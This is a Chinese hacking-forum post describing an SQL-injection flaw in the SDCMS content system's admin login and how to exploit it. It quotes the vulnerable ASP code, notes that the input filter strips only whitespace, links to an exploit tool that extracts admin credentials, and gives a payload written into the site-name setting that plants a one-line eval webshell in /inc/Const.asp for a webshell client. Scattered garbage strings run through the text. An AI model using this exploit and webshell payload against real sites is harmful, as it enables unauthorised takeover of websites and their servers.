SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
2 L) Q, I  g+ c  ~# e9 X2 S9 U漏洞文件：后台目录/index.asp

Sub Check
    Dim username,password,code,getcode,Rs
0 h9 E' I  [% R* d4 v% u    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
8 _' a) {- S7 ?  U    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
0 ]7 @+ G1 G7 j, @' E0 V- H    code=Trim(Request.Form("yzm"))
. }, K( g; [+ c, J1 D( [; g    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
& H# h) i* Q. c, _* d    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
4 K# q* T8 M! m        Echo "用户名或密码不能为空"ied
    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
# ^9 E8 c0 q6 I0 G        IF Rs.Eof Then
( m6 v" g' B# x" E            AddLog username,GetIp,"登录失败",1
+ @) i, y8 M+ R' D! V$ _' ]            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
, j! `- u. m% a: ?  ]1 v& D        Else
            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
8 C+ F4 F+ E" E' A            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
6 ]0 w8 I! t/ Z" J1 g8 u& T            IF Sdcms_DataType Then
3 V. W0 S2 M0 a) N                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
* ^  O. q& P' N2 _# ^/ ^" C            Else
; h! b0 E6 z; o1 Q                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
5 L; C, J: e8 y4 I# j+ ?, L& h            End IF
            Go("sdcms_index.asp")
. {) U% y" y- Q; {' P        End IF
        Rs.Close
        Set Rs=Nothing
+ x# j. }8 n' A  z7 [% |  y6 Z    End IF
End Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
" A2 Y5 x! A0 K# w    Select Case t1
        Case "1"
            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
% \6 R( J4 Y! Y1 \            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
% @) n1 w9 N* N' w' g            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
; W( _- q0 h( q5 _4 z- @; y$ I1 t  ?            t0=Replace(t0,Chr(12),"")'换页
$ D1 B6 z: O) ^2 Y5 _            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
7 `- }3 p5 }" J            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
2 P$ U( x1 l" N6 b            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
( R' P; Q/ m- Y            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
& K* ~9 y# m- n            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
1 ?8 D3 i2 S& M" z2 B            t0=Replace(t0,Chr(59),"")';
4 U7 F6 |" }* {8 J/ r* o% i            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
' X3 N6 }. V8 |1 c0 @            t0=Replace(t0,Chr(63),"")'?
) }" z. V6 _% b- _            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
) M" P. ^/ p, T  h0 i9 ~            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
8 ^% i$ {5 U, i: ?+ S, H- \6 T            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
" l/ Z  S$ v+ q1 N; Q2 r2 P6 ~+ c            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
1 g- A( p' D* S3 Q2 u$ |            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
* B: P7 e. a. X1 w, h/ ^    Case Else
        t0=Replace(t0, "&", "&")
6 k! Q# {  _' l. M+ q9 m. o/ T        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
# }$ S$ j8 U7 E/ }, Q& O0 h- N- C        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
, O- T5 h6 J8 ]( y! }6 _/ c* g    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
# Q+ E. u3 Q' G* {/ _% Z& M# n        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
2 g9 j& R( A" o- b    End If
5 m$ g: m2 C+ F- s3 W/ k    FilterText=t0
End Function
% E. D2 Z/ i. r( e4 Y2 |
看到没。直接参数是1 只过滤
0 b& K" [$ l4 ?8 U0 L                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
")
                        t0=Replace(t0,Chr(10),"
")
4 i* {* m7 [, p- w0 L漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

% r3 f, ~2 A& M/ t6 q, S2 l7 ~, ?测试:
" [, y- j$ x- A0 p; }+ T3 L6 H
" d4 C% C: C" f3 j
现在输入工具上验证码,然后点OK
6 {* F# m0 B* B
9 q# `2 F, I2 @4 n9 m# _4 G) g: L
) M4 q) z+ ~# V6 b' e, Z9 W看到我们直接进入后台管理界面了,呵呵!

' X1 g; J6 T! N: N. M1 i

这样直接进入后台了。。。。

- |  A3 x! }- S

SDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
  z; M8 E! \. C. X) z
6 i% f4 }# z& w3 J" k- a+ _

& i/ D* z) P! x& Z5 jOK,现在用菜刀连接下!
5 r- C) J$ ]6 d( k, D6 F7 E3 J0 s

; k+ e- ]; V: G, m* u' M, z* E& m
8 W3 P5 @6 _0 M" X- Z
: v2 `/ p% x7 n9 ]6 B/ m! o: c